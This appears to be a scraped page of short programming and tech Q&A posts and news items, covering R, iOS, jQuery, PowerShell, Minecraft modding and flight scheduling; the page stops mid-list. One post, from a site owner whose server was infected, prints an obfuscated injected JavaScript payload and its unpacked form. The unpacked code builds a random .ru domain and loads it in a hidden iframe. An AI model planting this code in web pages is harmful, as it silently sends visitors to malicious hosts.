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  • Behavior of <- NULL on lists versus data.frames for removing data

    - by Ananda Mahto
    Many R users eventually figure out lots of ways to remove elements from their data. One way is to use NULL, particularly when you want to do something like drop a column from a data.frame or drop an element from a list. Eventually, a user comes across a situation where they want to drop several columns from a data.frame at once, and they hit upon <- list(NULL) as the solution (since using <- NULL will result in an error). A data.frame is a special type of list, so it wouldn't be too tough to imagine that the approaches for removing items from a list should be the same as removing columns from a data.frame. However, they produce different results, as can be seen in the example below. ## Make some small data--two data.frames and two lists cars1 <- cars2 <- head(mtcars)[1:4] cars3 <- cars4 <- as.list(cars2) ## Demonstration that the `list(NULL)` approach works cars1[c("mpg", "cyl")] <- list(NULL) cars1 # disp hp # Mazda RX4 160 110 # Mazda RX4 Wag 160 110 # Datsun 710 108 93 # Hornet 4 Drive 258 110 # Hornet Sportabout 360 175 # Valiant 225 105 ## Demonstration that simply using `NULL` does not work cars2[c("mpg", "cyl")] <- NULL # Error in `[<-.data.frame`(`*tmp*`, c("mpg", "cyl"), value = NULL) : # replacement has 0 items, need 12 Switch to applying the same concept to a list, and compare the difference in behavior. ## Does not fully drop the items, but sets them to `NULL` cars3[c("mpg", "cyl")] <- list(NULL) # $mpg # NULL # # $cyl # NULL # # $disp # [1] 160 160 108 258 360 225 # # $hp # [1] 110 110 93 110 175 105 ## *Does* drop the `list` items while this would ## have produced an error with a `data.frame` cars4[c("mpg", "cyl")] <- NULL # $disp # [1] 160 160 108 258 360 225 # # $hp # [1] 110 110 93 110 175 105 The main questions I have are, if a data.frame is a list, why does it behave so differently in this scenario? Is there a foolproof way of knowing when an element will be dropped, when it will produce an error, and when it will simply be given a NULL value? Or do we depend on trial-and-error for this?

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  • rotating a circle in UIView?

    - by senthilmuthu
    HI, i want to draw a circle in DrawRect through context like pie chart(took from tutorial) thorugh UITouch? i have given the code as follows,how can i rotate ? any help please? define PI 3.14159265358979323846 define snapshot_start 360 define snapshot_finish 360 static inline float radians(double degrees) { return degrees * PI / 180; } - (void)drawRect:(CGRect)rect { // Drawing code CGRect parentViewBounds = self.bounds; CGFloat x = CGRectGetWidth(parentViewBounds)/2; CGFloat y = CGRectGetHeight(parentViewBounds)*0.55; // Get the graphics context and clear it CGContextRef ctx = UIGraphicsGetCurrentContext(); CGContextClearRect(ctx, rect); // define stroke color CGContextSetRGBStrokeColor(ctx, 1, 1, 1, 1.0); // define line width CGContextSetLineWidth(ctx, 4.0); // need some values to draw pie charts double snapshotCapacity =20; double rawCapacity = 100; double systemCapacity = 1; int offset = 5; double pie1_start = 315.0; double pie1_finish = snapshotCapacity *360.0/rawCapacity; double system_finish = systemCapacity*360.0/rawCapacity; CGContextSetFillColor(ctx, CGColorGetComponents( [[UIColor greenColor] CGColor])); CGContextMoveToPoint(ctx, x+2*offset, y); CGContextAddArc(ctx, x+2*offset, y, 100, radians(snapshot_start), radians(snapshot_start+snapshot_finish), 0); CGContextClosePath(ctx); CGContextFillPath(ctx); // system capacity CGContextSetFillColor(ctx, CGColorGetComponents( [[UIColor colorWithRed:15 green:165/255 blue:0 alpha:1 ] CGColor])); CGContextMoveToPoint(ctx, x+offset,y); CGContextAddArc(ctx, x+offset, y, 100, radians(snapshot_start+snapshot_finish+offset), radians(snapshot_start+snapshot_finish+system_finish), 0); CGContextClosePath(ctx); CGContextFillPath(ctx); /* data capacity */ CGContextSetFillColor(ctx, CGColorGetComponents( [[UIColor colorWithRed:99/255 green:184/255 blue:255/255 alpha:1 ] CGColor])); CGContextMoveToPoint(ctx, x, y); CGContextAddArc(ctx, x, y, 100, radians(snapshot_start+snapshot_finish+system_finish+offset), radians(snapshot_start), 0); CGContextClosePath(ctx); CGContextFillPath(ctx); }

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  • Internal loop only runs once, containing loop runs endlessly

    - by Mark
    noob question I'm afraid. I have a loop that runs and rotates the hand of a clock and an internal loop that checks the angle of the hand if it is 90, 180, 270 and 360. On these 4 angles the corresponding div is displayed and its siblings removed. The hand loops and loops eternally, which is what I want, but the angle check only runs the loop once through the whole 360. As the hand passes through the angles it is correctly displaying and removing divs but is doesn't continue after the first revolution of the clock. I've obviously messed up somewhere and there is bound to be a more efficient way of doing all this. I am using jQueryRotate.js for my rotations. Thanks for your time. jQuery(document).ready(function(){ var angle = 0; setInterval(function(){ jQuery("#hand").rotate(angle); function movehand(){ if (angle == 90) { jQuery("#intervention").fadeIn().css("display","block").siblings().css("display","none"); } else if (angle == 180) { jQuery("#management").fadeIn().css("display","block").siblings().css("display","none"); } else if (angle == 270) { jQuery("#prevention").fadeIn().css("display","block").siblings().css("display","none"); } else if (angle == 360) { jQuery("#reaction").fadeIn().css("display","block").siblings().css("display","none"); } else {movehand;} }; movehand(); angle+=1; },10); });

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  • Free CodeSmith License!

    - by Randy Walker
    The catch?  Attend the Ozarks .Net User Group meeting on April 1st. Here’s a list of the other prizes for the event GRAND PRIZE 1 - iPad (Wi-Fi 16GB) THIRD PARTY COMPONENTS 6 - Telerik Premium Collection 5 - Infragistics NetAdvantage for .NET 1 - Nevron Chart for .NET Lite DevExpress Xceed PRODUCTIVITY 2 - CodeRush with Refactor! Pro 2 - ReSharper CodeSmith GAMES 3 - Halo3 ODST (XBox 360) 3 - Forza Motorsport (Xbox 360) OTHER SOFTWARE 3 - Windows 7 Ultimate 2 - Microsoft Office Standard 2007 HARDWARE 2 - Microsoft Arc Mouse BOOKS 12 - OReilly eBooks 12 - Microsoft Press books 5 - Apress books 3 - Addison-Wesley books 2 - Manning books 2 - Sams books The Info: "Be a Professional Developer and Write Clean Code!" by Claudio Lassala on April 1, 2010 PRESENTATION TOPIC "Be a Professional Developer and Write Clean Code!" - by Claudio Lassala Poorly written code can be created quickly, but it comes at a cost of high maintenance. Most of the time, code can be improved easily by following some simple practices. Professional developers should know these practices and tools and apply it to their work every day. This session will cover the importance of writing clean code, the kind of attitude all developers should have towards the code they produce, as well as the practices and tools that can be used to aid you in becoming a better developer. BIOGRAPHY Claudio Lassala is a Senior Developer at EPS Software Corp. He has presented several lectures at Microsoft events such as PDC Brazil and various other Microsoft seminars, as well as several conferences and user groups across North America and Brazil. He is a multiple winner of the Microsoft MVP Award since 2001 (for Visual FoxPro in 2001-2002, and for C# ever since), an INETA speaker, and also holds the MCSD for .NET certification. He has articles published on several magazines, such as MSDN Brazil Magazine, CoDe Magazine, UTMag, Developers Magazine, and FoxPro Advisor. More detailed information regarding his presentations and articles can be found in his MVP Profile. You can also read more about Claudio on his blog or on Twitter Schedule 5:30 PM – 6:30 PM Social Networking 6:30 PM - 7:00 PM  Prizes 7:00 PM - 8:30 PM Presentation:  "Be a Professional Developer and Write Clean Code!" by Claudio Lassala 8:30 PM - 9:00 PM Wrap-Up

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  • Microsoft Kinect Sales Are 2X Faster Than iPad

    - by Gopinath
    Apple iPad broke many records and it was crowned as the fastest adopted digital device in the history. 2 million iPads were sold in two months and Apple fan boys are all happy with the news. Here comes some good news for Microsoft lovers – Microsoft’s Kinect is selling twice as fast as Apple iPads. In just 25 days after the launch, 2 million Kinects are sold across the globe – that means 100K Kinect sales per day. Very impressive! Kinect was originally released for XBox 360 gaming console but hackers and geeks are able to connect Kinect to Windows 7 PC to control computers using gestures. The possibilities Kinect usage in building natural user interfaces looks very promising. If this growth sustains after the festive season, Microsoft Kinect will displace iPad from the crown of fastest adopted digital device. More details at Xbox 360 Surpasses 2.5 Million Kinect Sensors Sold This article titled,Microsoft Kinect Sales Are 2X Faster Than iPad, was originally published at Tech Dreams. Grab our rss feed or fan us on Facebook to get updates from us.

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  • How to make Xbox joypad work with Bastion?

    - by Alistair Buxton
    I have an XBox joypad: Bus 005 Device 004: ID 045e:0289 Microsoft Corp. Xbox Controller S When I start Bastion from the terminal the following is output: Number of joysticks: 1 Number of buttons for joystick: 0 - 10 Number of axes for joystick: 0 - 6 Number of PovHats for joystick: 0 - 1 When I load up the game it displays a message "press any key" and at this point, if I press a button on the joypad it advances to the main menu. However, the up/down/left/right controls do not work and the button will not operate the menu. When I enter the control configuration, the joypad section is disabled and displays a message "joypad not detected." If I enter the control customization and try to reconfigure one of the controls, noises can be heard when pressing joypad buttons, but the input is otherwise ignored. Further information which may or may not be relevant: My controller is an original Xbox controller, not a 360 controller. XNA games on Windows apparently only work with Xbox360 controllers because they use xinput rather than direct input, see eg here. My controller works (almost) properly with MonoGame trunk samples, but Bastion uses a modified MonoGame and crashes when run against trunk, so I can't add debugging to see where the problem is. Bug can also be reproduced with a Xbox 360 wired controller.

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  • Powershell: Install-dotNET4 function

    - by marc dekeyser
    This function will download and install ,NET 4.0. It uses the Get-Framework-Versions function to determine if the installation is necessary or not. Internet Connectivity will be required as the script auto downloads the setup file (and sleeps for 360 seconds... I had a function in there to monitor for install completion at first, turns out the setup file spawns so many childprocesses the function just got confused and locked up -_-)Alternatively you could drop the installation file in the folder specified on the $folderPath variable too. That will skip the download and use the file. This function easily adapts in to other versions f.e. I use it for Powershell 3 installs as well!Function install-dotNet4 () {    if(($InstalledDotNET -eq "4.0") -or ($InstalledDotNET -eq "4.0c")){        write-host ".NET 4.0 Framework is already installed" -foregroundcolor Green    } else{            #set a var for the folder you are looking for        $folderPath = 'C:\Temp'        #Check if folder exists, if not, create it        if (Test-Path $folderpath){            Write-Host "The folder $folderPath exists." -ForeGroundColor Green        } else{            Write-Host "The folder $folderPath does not exist, creating..." -NoNewline -ForegroundColor Red            New-Item $folderpath -type directory | Out-Null            Write-Host " - done!" -ForegroundColor Green        }        # Check if file exists, if not, download it        $file = $folderPath+"\dotNetFx40_Full_x86_x64.exe"        if (Test-Path $file){            write-host "The file $file exists." -ForeGroundColor Green        } else {            #Download Microsoft .Net 4.0 Framework            Write-Host "Downloading Microsoft .Net 4.0 Framework..." -nonewline -ForeGroundColor DarkYellow            $clnt = New-Object System.Net.WebClient            $url = "http://download.microsoft.com/download/9/5/A/95A9616B-7A37-4AF6-BC36-D6EA96C8DAAE/dotNetFx40_Full_x86_x64.exe"            $clnt.DownloadFile($url,$file)            Write-Host " - done!" -ForegroundColor Green        }        #Install Microsoft .Net Framework        Write-Host "Installing Microsoft .Net Framework..." -nonewline -ForegroundColor DarkYellow        $dotNET4 = $folderPath+"\dotNetFx40_Full_x86_x64.exe /quiet /norestart"        Invoke-Expression $dotNET4        write-host " - done!" -ForegroundColor Green        start-sleep -seconds 360    }}

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  • Got a malware on my hosting provider which infect JavaScript files .. how do I find the entry point?

    - by h3.
    This morning some sites which are hosted on the server as me started triggering malware alerts and started to redirect traffic to external sites. I've found out that a line of packed javascript was added to many js files across the server. What the script does is pretty simple, but what I would like to know is if this malware is well known and how it infect servers and propagate. For the curious here's the javascript line in question: /*km0ae9gr6m*/try{q=document.createElement("p");q.appendChild(q+"");}catch(qw){h=-012/5;try{bcsd=prototype-2;}catch(bawg){ss=[];f=(h)?("fromCharC"+"ode"):"";e=window["e"+"val"];n=[102,234,330,396,116,210,333,440,32,220,303,480,116,164,291,440,100,222,327,312,117,218,294,404,114,80,123,492,10,64,96,128,32,236,291,456,32,208,315,128,61,64,348,416,105,230,138,460,101,202,300,128,47,64,348,416,105,230,138,324,59,20,96,128,32,64,354,388,114,64,324,444,32,122,96,464,104,210,345,184,115,202,303,400,32,74,96,464,104,210,345,184,81,118,30,128,32,64,96,472,97,228,96,464,101,230,348,128,61,64,348,416,105,230,138,260,32,84,96,432,111,64,135,128,116,208,315,460,46,164,96,168,32,208,315,236,10,64,96,128,32,210,306,160,116,202,345,464,32,124,96,192,41,246,30,128,32,64,96,128,32,64,96,464,104,210,345,184,115,202,303,400,32,122,96,464,101,230,348,236,10,64,96,128,32,250,96,404,108,230,303,128,123,20,96,128,32,64,96,128,32,64,348,416,105,230,138,460,101,202,300,128,61,64,348,404,115,232,96,172,32,232,312,420,115,92,231,236,10,64,96,128,32,250,30,128,32,64,96,456,101,232,351,456,110,64,120,464,104,210,345,184,115,202,303,400,32,84,96,464,104,210,345,184,111,220,303,316,118,202,342,308,41,118,30,500,10,20,306,468,110,198,348,420,111,220,96,328,97,220,300,444,109,156,351,436,98,202,342,284,101,220,303,456,97,232,333,456,40,234,330,420,120,82,369,40,32,64,96,128,118,194,342,128,100,64,183,128,110,202,357,128,68,194,348,404,40,234,330,420,120,84,147,192,48,96,123,236,10,64,96,128,32,236,291,456,32,230,96,244,32,200,138,412,101,232,216,444,117,228,345,160,41,64,186,128,49,100,96,252,32,98,96,232,32,96,177,40,32,64,96,128,116,208,315,460,46,230,303,404,100,64,183,128,50,102,156,212,54,110,168,228,48,98,96,172,32,80,300,184,103,202,348,308,111,220,348,416,40,82,96,168,32,96,360,280,70,140,210,280,70,82,96,172,32,80,300,184,103,202,348,272,97,232,303,160,41,64,126,128,48,240,210,280,70,140,123,172,32,80,231,388,116,208,138,456,111,234,330,400,40,230,96,168,32,96,360,280,70,140,123,164,59,20,96,128,32,64,348,416,105,230,138,260,32,122,96,208,56,100,165,196,59,20,96,128,32,64,348,416,105,230,138,308,32,122,96,200,49,104,165,208,56,102,162,208,55,118,30,128,32,64,96,464,104,210,345,184,81,64,183,128,116,208,315,460,46,154,96,188,32,232,312,420,115,92,195,236,10,64,96,128,32,232,312,420,115,92,246,128,61,64,348,416,105,230,138,308,32,74,96,464,104,210,345,184,65,118,30,128,32,64,96,464,104,210,345,184,111,220,303,316,118,202,342,308,32,122,96,196,46,96,96,188,32,232,312,420,115,92,231,236,10,64,96,128,32,232,312,420,115,92,330,404,120,232,96,244,32,220,303,480,116,164,291,440,100,222,327,312,117,218,294,404,114,118,30,128,32,64,96,456,101,232,351,456,110,64,348,416,105,230,177,40,125,20,30,408,117,220,297,464,105,222,330,128,99,228,303,388,116,202,246,388,110,200,333,436,78,234,327,392,101,228,120,456,44,64,231,420,110,88,96,308,97,240,123,492,10,64,96,128,32,228,303,464,117,228,330,128,77,194,348,416,46,228,333,468,110,200,120,160,77,194,360,180,77,210,330,164,32,84,96,456,46,220,303,480,116,80,123,128,43,64,231,420,110,82,177,40,125,20,30,408,117,220,297,464,105,222,330,128,103,202,330,404,114,194,348,404,80,230,303,468,100,222,246,388,110,200,333,436,83,232,342,420,110,206,120,468,110,210,360,176,32,216,303,440,103,232,312,176,32,244,333,440,101,82,369,40,32,64,96,128,118,194,342,128,114,194,330,400,32,122,96,440,101,238,96,328,97,220,300,444,109,156,351,436,98,202,342,284,101,220,303,456,97,232,333,456,40,234,330,420,120,82,177,40,32,64,96,128,118,194,342,128,108,202,348,464,101,228,345,128,61,64,273,156,97,78,132,156,98,78,132,156,99,78,132,156,100,78,132,156,101,78,132,156,102,78,132,156,103,78,132,156,104,78,132,156,105,78,132,156,106,78,132,156,107,78,132,156,108,78,132,156,109,78,132,156,110,78,132,156,111,78,132,156,112,78,132,156,113,78,132,156,114,78,132,156,115,78,132,156,116,78,132,156,117,78,132,156,118,78,132,156,119,78,132,156,120,78,132,156,121,78,132,156,122,78,279,236,10,64,96,128,32,236,291,456,32,230,348,456,32,122,96,156,39,118,30,128,32,64,96,408,111,228,120,472,97,228,96,420,32,122,96,192,59,64,315,128,60,64,324,404,110,206,348,416,59,64,315,128,43,86,96,164,123,20,96,128,32,64,96,128,32,64,345,464,114,64,129,244,32,216,303,464,116,202,342,460,91,198,342,404,97,232,303,328,97,220,300,444,109,156,351,436,98,202,342,160,114,194,330,400,44,64,144,176,32,216,303,464,116,202,342,460,46,216,303,440,103,232,312,128,45,64,147,164,93,118,30,128,32,64,96,500,10,64,96,128,32,228,303,464,117,228,330,128,115,232,342,128,43,64,117,184,39,64,129,128,122,222,330,404,59,20,375,40,10,230,303,464,84,210,327,404,111,234,348,160,102,234,330,396,116,210,333,440,40,82,369,40,32,64,96,128,116,228,363,492,10,64,96,128,32,64,96,128,32,210,306,160,116,242,336,404,111,204,96,420,102,228,291,436,101,174,291,460,67,228,303,388,116,202,300,128,61,122,96,136,117,220,300,404,102,210,330,404,100,68,123,492,10,64,96,128,32,64,96,128,32,64,96,128,32,210,306,456,97,218,303,348,97,230,201,456,101,194,348,404,100,64,183,128,116,228,351,404,59,20,96,128,32,64,96,128,32,64,96,128,32,64,354,388,114,64,351,440,105,240,96,244,32,154,291,464,104,92,342,444,117,220,300,160,43,220,303,476,32,136,291,464,101,80,123,188,49,96,144,192,41,118,30,128,32,64,96,128,32,64,96,128,32,64,96,472,97,228,96,400,111,218,291,420,110,156,291,436,101,64,183,128,103,202,330,404,114,194,348,404,80,230,303,468,100,222,246,388,110,200,333,436,83,232,342,420,110,206,120,468,110,210,360,176,32,98,162,176,32,78,342,468,39,82,177,40,32,64,96,128,32,64,96,128,32,64,96,128,105,204,342,436,32,122,96,400,111,198,351,436,101,220,348,184,99,228,303,388,116,202,207,432,101,218,303,440,116,80,102,292,70,164,195,308,69,68,123,236,32,20,96,128,32,64,96,128,32,64,96,128,32,64,315,408,114,218,138,460,101,232,195,464,116,228,315,392,117,232,303,160,34,230,342,396,34,88,96,136,104,232,348,448,58,94,141,136,43,200,333,436,97,210,330,312,97,218,303,172,34,94,342,468,110,204,333,456,101,230,348,456,117,220,189,460,105,200,183,396,120,68,123,236,32,20,96,128,32,64,96,128,32,64,96,128,32,64,315,408,114,218,138,460,116,242,324,404,46,238,315,400,116,208,96,244,32,68,144,448,120,68,177,128,10,64,96,128,32,64,96,128,32,64,96,128,32,210,306,456,109,92,345,464,121,216,303,184,104,202,315,412,104,232,96,244,32,68,144,448,120,68,177,128,10,64,96,128,32,64,96,128,32,64,96,128,32,210,306,456,109,92,345,464,121,216,303,184,118,210,345,420,98,210,324,420,116,242,96,244,32,68,312,420,100,200,303,440,34,118,96,40,32,64,96,128,32,64,96,128,32,64,96,128,100,222,297,468,109,202,330,464,46,196,333,400,121,92,291,448,112,202,330,400,67,208,315,432,100,80,315,408,114,218,123,236,10,64,96,128,32,64,96,128,32,250,30,128,32,64,96,500,99,194,348,396,104,80,303,164,123,250,30,500,44,64,159,192,48,82,177];if(window.document)for(i=6-2-1-2-1;-1771+i!=2-2;i++){k=i;ss=ss+String[f](n[k]/(i%(h*h)+2-1));}e(ss);}}/*qhk6sa6g1c*/ Once unpacked it looks like this: function nextRandomNumber(){ var hi = this.seed / this.Q; var lo = this.seed % this.Q; var test = this.A * lo - this.R * hi; if(test > 0){ this.seed = test; } else { this.seed = test + this.M; } return (this.seed * this.oneOverM); } function RandomNumberGenerator(unix){ var d = new Date(unix*1000); var s = d.getHours() > 12 ? 1 : 0; this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF)+ (Math.round(s * 0xFFF)); this.A = 48271; this.M = 2147483647; this.Q = this.M / this.A; this.R = this.M % this.A; this.oneOverM = 1.0 / this.M; this.next = nextRandomNumber; return this; } function createRandomNumber(r, Min, Max){ return Math.round((Max-Min) * r.next() + Min); } function generatePseudoRandomString(unix, length, zone){ var rand = new RandomNumberGenerator(unix); var letters = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']; var str = ''; for(var i = 0; i < length; i ++ ){ str += letters[createRandomNumber(rand, 0, letters.length - 1)]; } return str + '.' + zone; } setTimeout(function(){ try{ if(typeof iframeWasCreated == "undefined"){ iframeWasCreated = true; var unix = Math.round(+new Date()/1000); var domainName = generatePseudoRandomString(unix, 16, 'ru'); ifrm = document.createElement("IFRAME"); ifrm.setAttribute("src", "http://"+domainName+"/runforestrun?sid=cx"); ifrm.style.width = "0px"; ifrm.style.height = "0px"; ifrm.style.visibility = "hidden"; document.body.appendChild(ifrm); } }catch(e){} }, 500);

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  • Missing X-Spam-Status header

    - by Walt Stoneburner
    I recently upgraded to Ubuntu 14.04.1 LTS (trusty) and have followed the directions in https://help.ubuntu.com/14.04/serverguide/mail-filtering.html and am sending and receiving mail just fine. While I do see X-Virus-Scanned headers in my messages, which suggests mail is indeed being processed, I do not see any X-Spam-Level or X-Spam-Score headers being added to messages. This makes downstream procmailrc and client-side filtering ...more difficult. While having $final_spam_destiny = D_DISCARD in /etc/amavis/conf.d/20-debian_defaults does greatly reduce spam to my inbox, I had concerns of false-positives prior to tuning and didn't know were there going, so have set it to D_PASS for the time being. This exposed the problem. I'm not sure where to look to start diagnosing the problem (otherwise I'd post a suspect configuration file). /etc/amavis/conf.d/15-content_filter_mode has the lines uncommented to enable virus and spam checks, and virus checking appears to be working according to the headers. Spam Assassin certainly seems to be starting just fine, too. SpamAssassin debug facilities: info SA info: zoom: able to use 360/360 'body_0' compiled rules (100%) SpamAssassin loaded plugins: AskDNS, AutoLearnThreshold, Bayes, BodyEval, Check, DKIM, DNSEval, FreeMail, HTMLEval, HTTPSMismatch, Hashcash, HeaderEval, ImageInfo, MIMEEval, MIMEHeader, Pyzor, Razor2, RelayEval, ReplaceTags, Rule2XSBody, SPF, SpamCop, URIDNSBL, URIDetail, URIEval, VBounce, WLBLEval, WhiteListSubject SpamControl: init_pre_fork on SpamAssassin done I've also set $log_level = 2; in /etc/amavis/conf.d/50-user and don't see any obvious errors rolling by in the logs. Q: Any recommendations of what to try next? UPDATE (it appears that I have the right setting already): /etc/amavis/conf.d$ grep sa_tag_level_deflt * 20-debian_defaults:# $sa_tag_level_deflt = 2.0; # add spam info headers if at, or above that level 20-debian_defaults:$sa_tag_level_deflt = -999; # add spam info headers if at, or above that level

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  • Back to Sony

    - by Bunch
    Well I switched back to Sony. After about a year of debating whether or not to keep my XBox 360 or get a PS3 I decided over the weekend to trade in the 360 for a PS3.  I had thought about keeping both but I really don’t need two gaming systems. So far I like it, the graphics are good and the game selection is pretty much the same. For me the game exclusives didn’t sway me one way or the other (i.e. I’ve never played Halo so you can’t miss what you never played). My main reasons for switching were: RROD – I’ve had three and I don’t play a huge amount per week. Free online gaming – I never did buy a Live Gold account even though it is affordable Blu-ray player – Figured this is as good of a time as any to finally get one Netflix streaming with no need for an upgrade to your online account like on XBox MUCH quieter system Finally at a $299 price point All in all the last point was the main one for me. Like a lot of other folks I was really put off by the PS3’s original pricing of $499 and $599. Technorati Tags: Gaming

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  • Facing a character towards the mouse

    - by ratata
    I'm trying to port a simple 2d top down shooter game from C++(Allegro) to Java and i'm having problems with rotating my character. Here's the code i used in c++ if (keys[A]) RotateRight(player, degree); if (keys[D]) RotateLeft(player, degree); void RotateLeft(Player& player, float& degree) { degree += player.rotatingSpeed; if ( degree >= 360 ) degree = 0; } void RotateRight(Player& player, float& degree) { degree -= player.rotatingSpeed; if ( degree <= 0) degree = 360; } And this is what i have in render section: al_draw_rotated_bitmap(player.image, player.frameWidth / 2, player.frameHeight / 2, player.x, player.y, degree * 3.14159 / 180, 0); Instead of using A-D keys i want to use mouse this time. I've been searching since last night and came up to few sample codes however noone of them worked. For example this just made my character to circle around the map: int centerX = width / 2; int centerY = height / 2; double angle = Math.atan2(centerY - mouseY, centerX - mouseX) - Math.PI / 2; ((Graphics2D)g).rotate(angle, centerX, centerY); g.fillRect(...); // draw your rectangle Any help is much appreciated.

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  • Configuring bridged network connection --- Windows 7 host, Ubuntu 10.04 guest --- VMWare Workstation 8

    - by H3br3wHamm3r81
    Here is my IPCONFIG /ALL from the host (Windows 7 64-bit): Here is my IFCONFIG from the guest (Ubuntu 10.04): To be honest, I don't have experience configuring a network between a host and a guest in VMWare (a virtual machine). I've searched high and low on the internet, but I haven't seen anything that can help. Perhaps I'm just not using the right keywords when I search. Nevertheless, does anyone here have any experience with establishing a network connection? Edit: One important note. I don't use DHCP to provide private addresses to the hosts on my LAN. I use "static" IP addresses on my internal network by configuring each IP address manually in the host's network configuration utility (I have TV's, XBOX 360, and a few PC's). I would like to configure the IP on the virtual machine guest manually as well. The reason is because my XBOX 360 only works properly using a static IP address. It will kick me off XBOX Live if it has one given by the router (via DHCP).

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  • How to disguise a serverside mob as another?

    - by Shaun Wild
    I've been working a Minecraft sever mod and i want to be able to add a new entity to the server, but then make the server send the packets to the client, imitating another mob, for example.. Lets say say i have EntityPlayerNPC.class, what i want to do is have all of the packets that get sent to the client look like they are from that of another player which is on the player, therefore allowing me to add custom NPC's... Thinking about the theory i'm sure this can be done. I've tried looking around for where the packets are being sent from and whatnot, can anyone think up a solution? edit: i tried adding a new constructor to the Packet20NamedEntitySpawn class like so: public Packet20NamedEntitySpawn(String username, EntityLiving e){ this.entityId = 0; this.name = username; this.xPosition = MathHelper.floor_double(e.posX * 32.0D); this.yPosition = MathHelper.floor_double(e.posY * 32.0D); this.zPosition = MathHelper.floor_double(e.posZ * 32.0D); this.rotation = (byte)((int)(e.rotationYaw * 256.0F / 360.0F)); this.pitch = (byte)((int)(e.rotationPitch * 256.0F / 360.0F)); this.metadata = e.getDataWatcher(); } unfortunatley, that didn't work :(

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  • Cocos2D: Change animation based on joystick direction

    - by Blade
    I'm trying to get my figure to look in the right directions, based on the input of the joystick. So if I tilt left it looks left and the left animation is used, if I used right, it looks right and right animation is used, if up, then up, down, down and so on. I just get animation for front and back. Also if I press up I see the back of the figure correctly, but it won't go back into the original state when I don't press up anymore. -(void)applyJoystick:(SneakyJoystick *)aJoystick forTimeDelta:(float) deltaTime { CGPoint scaledVelocity = ccpMult(aJoystick.velocity, 128.0f); CGPoint oldPosition = [self position]; CGPoint newPosition = ccp(oldPosition.x + scaledVelocity.x * deltaTime, oldPosition.y + scaledVelocity.y * deltaTime); [self setPosition:newPosition]; id action = nil; int extra = 50; if ((int) aJoystick.degrees > 180 - extra && aJoystick.degrees < 180 + extra) { action = [CCAnimate actionWithAnimation:walkingAnimLeft restoreOriginalFrame:NO]; } else if ((int) aJoystick.degrees > 360 - extra && aJoystick.degrees < 360 + extra) { action = [CCAnimate actionWithAnimation:walkingAnimRight restoreOriginalFrame:NO]; } else if ((int) aJoystick.degrees > 90 - extra && aJoystick.degrees < 90 + extra) { action = [CCAnimate actionWithAnimation:walkingAnimBack restoreOriginalFrame:NO]; } else if ((int) aJoystick.degrees > 270 - extra && aJoystick.degrees < 270 + extra) { action = [CCAnimate actionWithAnimation:walkingAnimFront restoreOriginalFrame:NO]; } if (action != nil) { [self runAction:action]; } } }

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  • Problem Solving: Algorithm Required Urgently, Plz Help

    - by user616417
    Problem Solving: I've been working on something since last week. I am stuck at a point, where I want to find the minimum number of airplanes required to carry out a flight schedule given below. Plz, try out the brainstorming, i need the algorithm really badly, i'm also short of time. Thank u in advance. The Schedule---- Flight #,From,To,Departure,Arrival,Days,Via 6E 204,Agartala,Delhi,10:15:00,13:55:00,Daily,Kolkata 6E 360,Agartala,Imphal,13:50:00,14:35:00,Mo Th Sa, 6E 204,Agartala,Kolkata,10:15:00,11:00:00,Daily, 6E 360,Agartala,Kolkata,13:50:00,16:15:00,Mo Th Sa,Imphal 6E 362,Agartala,Kolkata,15:25:00,16:15:00,Tu We Fr Su, 6E 153,Ahmedabad,Bangalore,17:00:00,19:00:00,Daily, 6E 212,Ahmedabad,Chennai,9:00:00,12:55:00,Daily,Mumbai 6E 154,Ahmedabad,Delhi,12:30:00,14:00:00,Daily, 6E 211,Ahmedabad,Jaipur,19:10:00,20:20:00,Daily, 6E 410,Ahmedabad,Kolkata,15:00:00,17:30:00,Daily, 6E 212,Ahmedabad,Mumbai,9:00:00,10:10:00,Daily, 6E 409,Ahmedabad,Pune,14:25:00,15:40:00,Ex Sat, 6E 154,Bangalore,Ahmedabad,10:00:00,12:00:00,Daily, 6E 277,Bangalore,Chennai,15:35:00,16:25:00,Daily, 6E 132,Bangalore,Delhi,6:00:00,8:25:00,Daily, 6E 102,Bangalore,Delhi,9:50:00,13:45:00,Ex Sat,Pune 6E 154,Bangalore,Delhi,10:00:00,14:00:00,Daily,Ahmedabad 6E 104,Bangalore,Delhi,11:30:00,14:10:00,Sat, 6E 122,Bangalore,Delhi,17:20:00,20:00:00,Daily, 6E 108,Bangalore,Delhi,19:20:00,23:10:00,Sat,Pune 6E 106,Bangalore,Delhi,19:30:00,22:00:00,Ex Sat, 6E 275,Bangalore,Goa,12:15:00,13:15:00,Daily, 6E 351,Bangalore,Hyderabad,8:25:00,9:25:00,Daily, 6E 152,Bangalore,Hyderabad,19:10:00,20:10:00,Ex Sat, 6E 152,Bangalore,Hyderabad,19:30:00,20:35:00,Sat, 6E 152,Bangalore,Jaipur,19:10:00,22:30:00,Ex Sat,Hyderabad 6E 152,Bangalore,Jaipur,19:30:00,22:30:00,Sat,Hyderabad 6E 351,Bangalore,Kolkata,8:25:00,11:55:00,Daily,Hyderabad 6E 277,Bangalore,Kolkata,15:35:00,19:15:00,Daily,Chennai 6E 402,Bangalore,Mumbai,6:05:00,7:45:00,Daily, 6E 275,Bangalore,Mumbai,12:15:00,14:45:00,Daily,Goa 6E 414,Bangalore,Mumbai,12:45:00,14:20:00,Daily, 6E 412,Bangalore,Mumbai,21:20:00,23:20:00,Daily, 6E 102,Bangalore,Pune,9:50:00,11:10:00,Ex Sat, 6E 108,Bangalore,Pune,19:20:00,20:40:00,Sat, 6E 258,Bhubaneshwar,Delhi,18:55:00,20:55:00,Daily, 6E 257,Bhubaneshwar,Hyderabad,10:40:00,12:05:00,Daily, 6E 257,Bhubaneshwar,Mumbai,10:40:00,13:50:00,Daily,Hyderabad 6E 211,Chennai,Ahmedabad,15:10:00,18:40:00,Daily,Mumbai 6E 275,Chennai,Bangalore,10:50:00,11:40:00,Daily, 6E 302,Chennai,Delhi,11:35:00,15:20:00,Daily,Hyderabad 6E 282,Chennai,Delhi,19:45:00,22:30:00,Daily, 6E 275,Chennai,Goa,10:50:00,13:15:00,Daily,Bangalore 6E 302,Chennai,Hyderabad,11:35:00,12:40:00,Daily, 6E 211,Chennai,Jaipur,15:10:00,20:20:00,Daily,Mumbai/Ahmedabad 6E 523,Chennai,Kolkata,8:20:00,10:30:00,Daily, 6E 277,Chennai,Kolkata,16:55:00,19:15:00,Daily, 6E 211,Chennai,Mumbai,15:10:00,16:50:00,Daily, 6E 